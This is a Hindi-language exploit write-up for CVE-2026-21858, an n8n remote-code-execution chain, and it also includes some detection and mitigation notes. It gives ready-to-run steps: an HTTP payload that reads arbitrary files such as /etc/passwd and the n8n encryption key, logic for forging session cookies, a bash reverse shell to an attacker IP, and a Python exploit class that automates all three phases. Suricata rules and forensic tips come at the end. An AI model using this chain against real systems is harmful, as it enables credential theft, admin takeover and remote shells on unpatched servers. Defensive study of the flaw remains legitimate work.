
तकनीकी ऑडिट और CVE-2026-21858 का पुनरुत्पादन, एक n8n RCE श्रृंखला जो मनमाने फ़ाइल पठन, सत्र जालसाज़ी और कमांड निष्पादन के लिए Content-Type भ्रम का शोषण करती है।
= doi.org/10.5281/zenodo.18278825
= orcid.org/0009-0007-7728-256X
[पुनर्निर्माण_विश्लेषण] CVE-2026-21858: Ni8mare - n8n RCE पूर्ण श्रृंखला शोषण
यह तकनीकी ऑडिट Cyera Research Labs के Dor Attias (9 नवंबर, 2025) के निष्कर्षों पर आधारित है और इसमें REmnux/Kali Linux प्रयोगशाला वातावरण के लिए उपयोग-के-लिए-तैयार पुनरुत्पादन चरण शामिल हैं।
मुख्य जानकारी: लक्ष्य: n8n संस्करण >=1.65.0 से <1.121.0।
हमला वेक्टर: नेटवर्क (HTTP/HTTPS)।
जटिलता: निम्न।
प्रभाव: कुल (गोपनीयता, अखंडता और उपलब्धता)।
EPSS स्कोर: 0.97 (बहुत उच्च शोषण संभावना)।
सामान्य प्रवाह: एक multipart/form-data अनुरोध parseFormData() (Formidable पार्सर का उपयोग करके) द्वारा संसाधित किया जाता है, जो req.body.files ऑब्जेक्ट को सही ढंग से भरता है।
भेद्य स्थिति: यदि कोई हमलावर Content-Type: application/json के साथ अनुरोध प्रस्तुत करता है, तो मिडलवेयर parseBody() को आमंत्रित करता है। प्रस्तुत JSON को फिर सीधे req.body में पार्स किया जाता है, जो बिना किसी और सत्यापन के req.body.files प्रॉपर्टी को घातक रूप से अधिलेखित कर देता है।
शोषण: formWebhook -> prepareFormReturnItem() फ़ंक्शन आँख मूंदकर copyBinaryFile(req.body.files[0].filepath) को कॉल करता है, JSON में प्रदान किए गए फ़ाइल पथ पर भरोसा करते हुए, जिससे मनमानी स्थानीय फ़ाइलें सुलभ कार्यप्रवाह भंडारण में कॉपी हो जाती हैं।
पूर्वापेक्षाएँ: Docker और Docker Compose।
requests, pyjwt और cryptography लाइब्रेरी के साथ Python 3।
शेल कैप्चर के लिए Netcat (nc) या Burp Suite।
परिनियोजन चरण: भेद्य इंस्टेंस चलाएँ:
Bash
docker run -d
--name ni8mare-vuln
-p 5678:5678
-v n8n_data:/home/node/.n8n
n8nio/n8n:1.65.0
व्यवस्थापक आरंभीकरण: http://localhost:5678 तक पहुँचें, एक व्यवस्थापक खाता बनाएँ (जैसे, [email protected] / Password123!)।
कार्यप्रवाह कॉन्फ़िगरेशन: "फ़ाइल अपलोड" फ़ील्ड वाले "फॉर्म ट्रिगर" नोड के साथ एक नया कार्यप्रवाह बनाएँ। कार्यप्रवाह सक्रिय करें और "टेस्ट URL" नोट करें।
HTTP अनुरोध पेलोड:
HTTP
POST /webhook-test/{workflow-id}/form-endpoint HTTP/1.1 Host: target:5678 Content-Type: application/json User-Agent: Mozilla/5.0
[{"filepath":"/etc/passwd","mimetype":"text/plain","filename":"fake.txt"}] रणनीतिक लक्ष्य:
/home/node/.n8n/config: N8N_ENCRYPTION_KEY चुराने के लिए।
/home/node/.n8n/database.sqlite: उपयोगकर्ता क्रेडेंशियल हैश निकालने के लिए।
चरण 2: प्रमाणीकरण बाईपास (सत्र जालसाज़ी) एक बार एन्क्रिप्शन कुंजी और उपयोगकर्ता डेटा प्राप्त हो जाने पर, n8n-auth कुकी जाली बनाई जा सकती है।
सत्र जालसाज़ी तर्क:
पेलोड: {"userId":1, "hash": sha256(email + password).slice(0,10)}।
हस्ताक्षर: N8N_ENCRYPTION_KEY का उपयोग करके HS256 एल्गोरिथम के साथ हस्ताक्षरित।
परिणाम: उत्पन्न कुकी सामान्य लॉगिन प्रक्रिया से गुज़रे बिना पूर्ण व्यवस्थापकीय पहुँच की अनुमति देती है।
चरण 3: रिमोट कोड निष्पादन (RCE) व्यवस्थापक के रूप में (जाली कुकी के माध्यम से), हम "Execute Command" नोड वाले नए कार्यप्रवाह के निर्माण को स्वचालित कर सकते हैं।
कमांड पेलोड: bash -c "bash -i >& /dev/tcp/{attacker_ip}/4444 0>&1"
Python
#!/usr/bin/env python3
import requests, json, hashlib, jwt, time
class Ni8mareExploit: def init(self, target, webhook_id): self.target = target.rstrip('/') self.webhook_url = f"{self.target}/webhook-test/{webhook_id}/form-endpoint" self.session = requests.Session()
def read_file(self, path, name):
"""Phase 1: Arbitrary File Read via Content-Type Confusion"""
print(f"[*] Attempting to read {path}...")
payload = [{"filepath": path, "mimetype": "text/plain", "filename": name}]
headers = {'Content-Type': 'application/json'}
r = self.session.post(self.webhook_url, json=payload, headers=headers)
return r.status_code == 200
def forge_session(self, email, password, key):
"""Phase 2: Cookie Forgery"""
hash_src = email + password
h = hashlib.sha256(hash_src.encode()).hexdigest()[:10]
payload = {'userId': 1, 'hash': h}
cookie = jwt.encode(payload, key, algorithm='HS256')
self.session.cookies.set('n8n-auth', cookie)
print(f"[+] Forged Cookie: n8n-auth={cookie}")
def trigger_rce(self, lhost, lport):
"""Phase 3: RCE via Workflow Automation"""
cmd = f"bash -c 'bash -i >& /dev/tcp/{lhost}/{lport} 0>&1'"
wf_payload = {
"name": "Ni8mare RCE",
"nodes": [{"parameters": {"command": cmd}, "type": "n8n-nodes-base.executeCommand"}],
"active": True
}
r = self.session.post(f"{self.target}/rest/workflows", json=wf_payload)
print("[!] RCE Workflow Deployed. Check your listener!")
नेटवर्क संकेतक (IDS/IPS): Suricata सिग्नेचर: alert http $EXTERNAL_NET any -> $HOME_NET 5678 (msg:"Ni8mare Exploit Attempt"; content:"application/json"; content:"filepath"; sid:1000001;)
विसंगति: /webhook/*/form-endpoint एंडपॉइंट पर Content-Type: application/json के साथ भेजे गए POST अनुरोध।
होस्ट-आधारित फोरेंसिक: फ़ाइल सिस्टम: ~/.n8n/files/ निर्देशिका में सिस्टम डेटा (जैसे, /etc/passwd) वाली संदिग्ध टेक्स्ट फ़ाइलों की खोज करें।
लॉग: साथ में multipart डेटा के बिना prepareFormReturnItem फ़ंक्शन गतिविधि के लिए n8n लॉग का ऑडिट करें।
Docker Inspect: सत्यापित करें कि इमेज संस्करण 1.121.0 से नीचे है।
वर्कअराउंड: यदि पैचिंग संभव नहीं है, तो संदिग्ध JSON अनुरोधों को ब्लॉक करने के लिए वेब एप्लिकेशन फ़ायरवॉल (WAF) का उपयोग करके /webhook एंडपॉइंट तक पहुँच प्रतिबंधित करें।
नेटवर्क विभाजन: घुसपैठ की स्थिति में पार्श्व गति को रोकने के लिए n8n इंस्टेंस को संवेदनशील आंतरिक नेटवर्क से अलग करें।
निष्पादन: T1059 (कमांड और स्क्रिप्टिंग इंटरप्रेटर)
स्थिरता: T1098 (सत्र जालसाज़ी के माध्यम से खाता हेरफेर)
बहिर्निष्कासन: T1083 (फ़ाइल और निर्देशिका खोज)
अस्वीकरण: यह विश्लेषण विशेष रूप से शैक्षिक उद्देश्यों, सुरक्षा ऑडिटिंग और मास्टर SASTRA_ADI_WIGUNA के निर्देशों के तहत पेशेवर साइबर रक्षा के लिए प्रदान किया गया है। अवैध गतिविधियों के लिए इस जानकारी का कोई भी दुरुपयोग ऑपरेटर की पूर्ण जिम्मेदारी है। उत्पादन पैचिंग अनिवार्य है।